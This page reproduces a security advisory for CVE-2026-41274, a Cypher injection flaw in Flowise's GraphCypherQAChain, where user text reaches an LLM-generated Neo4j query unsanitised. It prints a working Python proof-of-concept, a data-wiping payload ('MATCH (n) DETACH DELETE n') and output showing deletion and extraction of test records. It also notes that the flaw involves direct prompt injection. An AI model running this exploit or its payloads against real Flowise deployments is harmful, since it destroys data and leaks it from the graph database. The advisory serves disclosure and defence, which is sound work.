INCIDENT MAP

Browse / Improper Output Handling / CVE-2026-41274

Flowise: Cypher Injection in GraphCypherQAChain

CVE-2026-41274 ยท 2026-04-16 high

Class
Improper Output Handling (filed by a model that read the advisory)
Technique
SQL and query injection
Also involves
Direct Prompt Injection
Affected
flowise-components, flowise (npm)
CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS
0.5% chance of exploitation in 30 days

How it works, in short

User text flows into an LLM-generated Cypher query that runs unsanitised against Neo4j, letting an attacker run arbitrary graph queries. (Our summary, written by a model. The source text is below.)

Details

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

| Field | Value |
|-------|-------|
| Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts |
| Affected Lines | 193-219 (run method) |

Prerequisites

To exploit this vulnerability, the following conditions must be met:

<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
  --flow-id <FLOW_ID> --token <API_KEY> \
  --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n                ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}

References

Source: GitHub Advisory Database, used under CC BY 4.0.